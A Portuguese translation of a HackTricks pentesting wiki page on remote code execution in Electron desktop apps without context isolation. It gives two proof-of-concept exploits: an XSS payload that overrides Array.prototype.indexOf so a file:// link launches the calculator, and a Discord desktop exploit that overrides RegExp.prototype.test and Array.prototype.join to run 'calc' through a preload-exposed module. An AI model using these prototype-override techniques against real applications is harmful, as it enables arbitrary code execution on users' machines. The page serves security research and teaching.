hacktricks/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md
2023-06-06 18:56:34 +00:00

6.9 KiB

RCE do Electron contextIsolation via código de pré-carregamento

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Exemplo 1

Exemplo de https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

Este código abre links http(s) com o navegador padrão:

Algo como file:///C:/Windows/systemd32/calc.exe poderia ser usado para executar uma calculadora, mas o SAFE_PROTOCOLS.indexOf está impedindo isso.

Portanto, um invasor poderia injetar este código JS via XSS ou navegação de página arbitrária:

<script>
Array.prototype.indexOf = function(){
    return 1337;
}
</script>

Como a chamada para SAFE_PROTOCOLS.indexOf sempre retornará 1337, o atacante pode contornar a proteção e executar a calculadora. Exploit final:

<script>
Array.prototype.indexOf = function(){
    return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>

Verifique os slides originais para outras maneiras de executar programas sem ter uma solicitação de permissão.

Aparentemente, outra maneira de carregar e executar código é acessar algo como file://127.0.0.1/electron/rce.jar

Exemplo 2: RCE do aplicativo Discord

Exemplo de https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1

Ao verificar os scripts de pré-carregamento, descobri que o Discord expõe a função, que permite que alguns módulos permitidos sejam chamados via DiscordNative.nativeModules.requireModule('NOME-DO-MÓDULO'), na página da web.
Aqui, não pude usar módulos que podem ser usados para RCE diretamente, como o módulo child_process, mas encontrei um código onde RCE pode ser alcançado substituindo os métodos JavaScript integrados e interferindo na execução do módulo exposto.

A seguir está o PoC. Eu fui capaz de confirmar que o aplicativo calc é aberto quando eu chamo a função getGPUDriverVersions que é definida no módulo chamado "discord_utils" do devTools, enquanto substituo o RegExp.prototype.test e Array.prototype.join.

RegExp.prototype.test=function(){
    return false;
}
Array.prototype.join=function(){
    return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();

A função getGPUDriverVersions tenta executar o programa usando a biblioteca "execa", como mostrado abaixo:

module.exports.getGPUDriverVersions = async () => {
  if (process.platform !== 'win32') {
    return {};
  }

  const result = {};
  const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;

  try {
    result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
  } catch (e) {
    result.nvidia = {error: e.toString()};
  }

  return result;
};

Normalmente, o execa tenta executar "nvidia-smi.exe", que é especificado na variável nvidiaSmiPath, no entanto, devido à substituição de RegExp.prototype.test e Array.prototype.join, o argumento é substituído por "calc" no processamento interno do _execa_**.

Especificamente, o argumento é substituído alterando as duas partes a seguir.

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥